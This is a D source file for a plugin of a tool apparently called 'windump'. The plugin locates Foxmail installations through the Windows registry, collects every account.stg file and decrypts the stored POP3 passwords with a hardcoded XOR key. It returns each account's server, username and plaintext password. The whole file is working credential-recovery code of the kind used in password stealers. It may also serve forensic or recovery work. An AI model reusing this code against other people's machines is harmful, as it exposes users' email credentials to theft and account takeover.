module windump.plugins.foxmail.foxmail;

import std.string;
import std.c.stdlib;
import std.file;
import std.path;
import std.stream;
import std.regexp;

import windump.scanning.detector;
import windump.registry;

const string EncryptedFileName = "account.stg";

const string RegexpString = 
    `[^\x00]\x00\x00\x00([A-Za-z0-9\.\?\&\-\_]+)` //server
    `\x6E\x00\x00\x00[^\x00]\x00\x00\x00([A-Za-z0-9\._-]+)` //account
    `[^\x00].\x00\x00([0123456789ABCDEF]+)\x01\x01......uid`; //password

const string RegKey = `SOFTWARE\Tencent\Foxmail`;
const string OldRegKey = `SOFTWARE\Aerofox\Foxmail`;

enum { StgExtraAccountOffset = 0x1000 }

private string getFoxmailInstallPath()
{
    scope Key k = Registry.localMachine.openSubkey(RegKey);
    return k.getValue("Install").value_SZ();
}

private string getOldFoxmailInstallPath()
{
    scope Key k = Registry.localMachine.openSubkey(OldRegKey);
    string path = k.getValue("Executable").value_SZ();
    return getDirName(path);
}

private string decrypt(string str)
{
	assert(str);
	const ubyte[8] A = [0x7E, 0x64, 0x72, 0x61, 0x47, 0x6F, 0x6E, 0x7E]; //"~draGon~"	
    ubyte[] B;
	
	for(size_t i = 0; i < str.length; i += 2)
	{
		long val = strtol(toStringz(str[i .. i + 2]), null, 16);
		B ~= cast(ubyte)val;
	}

	int passlen = B.length - 1;

	ubyte[] C;
	C ~= (0x5A);
	C ~= (0x5A ^ B[0]);

	for(int i = 1; i < passlen; ++i)
		C ~= B[i];

	ubyte[] D;
	for(int i = 0; i < passlen; ++i)
	{
		int x = i % A.length;
		D ~= B[i + 1] ^ A[x];
	}

	string E;
	for(int i = 0; i < passlen; ++i)
	{
		int x = D[i] - C[i + 1];
		if(x < 0) x += 0xFF;
		E ~= cast(char)x;
	}

	return E;
}

private string[] findAllAccountStgFile()
{
    string dir;
    try
    {
        dir = getFoxmailInstallPath();
    }
    catch(Exception e1)
    {
        dir = getOldFoxmailInstallPath();
    }


    if(dir.length > 0 && dir[length - 1] != '\\')
        dir ~= '\\';
    dir ~= "mail";

    string[] ret;

    bool callback(DirEntry* de)
    {
        if (de.isdir)
            listdir(de.name, &callback);
        else
        {
            if(icmp(getBaseName(de.name), EncryptedFileName) == 0)
                ret ~= de.name;
        }

        return true;
    }

    listdir(dir, &callback);
    return ret;
}

private ResultItem decryptStg(string path)
{
    scope auto stgFile = new BufferedFile;
    stgFile.open(path);

    stgFile.seekSet(2048);

    ResultItem item;

    while(!stgFile.eof)
    {
        string line = stgFile.readLine;
        
		int pos;
		string pattern;

		pattern = "POP3Password=";
		pos = ifind(line, pattern);
		if(pos != -1)
		{
			string crypted = line[pattern.length .. length];
            item.password = decrypt(crypted); 
		}

		pattern = "POP3Host=";
		pos = ifind(line, pattern);
		if(pos != -1)
		{
            item.host = line[pattern.length .. length]; 
		}

		pattern = "POP3Account=";
		pos = ifind(line, pattern);
		if(pos != -1)
		{
            item.account = line[pattern.length .. length]; 
		}


    }

    return item;

}

class FoxmailDetector : Detector!(FoxmailDetector, "email-client/foxmail", "table")
{

    public this()
    {
    }

    public override ResultItem[] update()
    {
        string[] stgs = findAllAccountStgFile();
        ResultItem[] ret;

        foreach(string stg; stgs)
        {
            ResultItem ri = decryptStg(stg);
            ri.provider = name();
            ret ~= ri;
        }

        foreach(string stg; stgs)
        {
            string fc = cast(string)read(stg);
            fc = fc[StgExtraAccountOffset .. $];

            foreach(m; RegExp(RegexpString).search(fc))
            {
                ResultItem item;
                item.provider = name();
                item.host = m.match(1);
                item.account = m.match(2);
                item.password = decrypt(m.match(3));

                ret ~= item;
            }
        }

        return ret;
    }

}
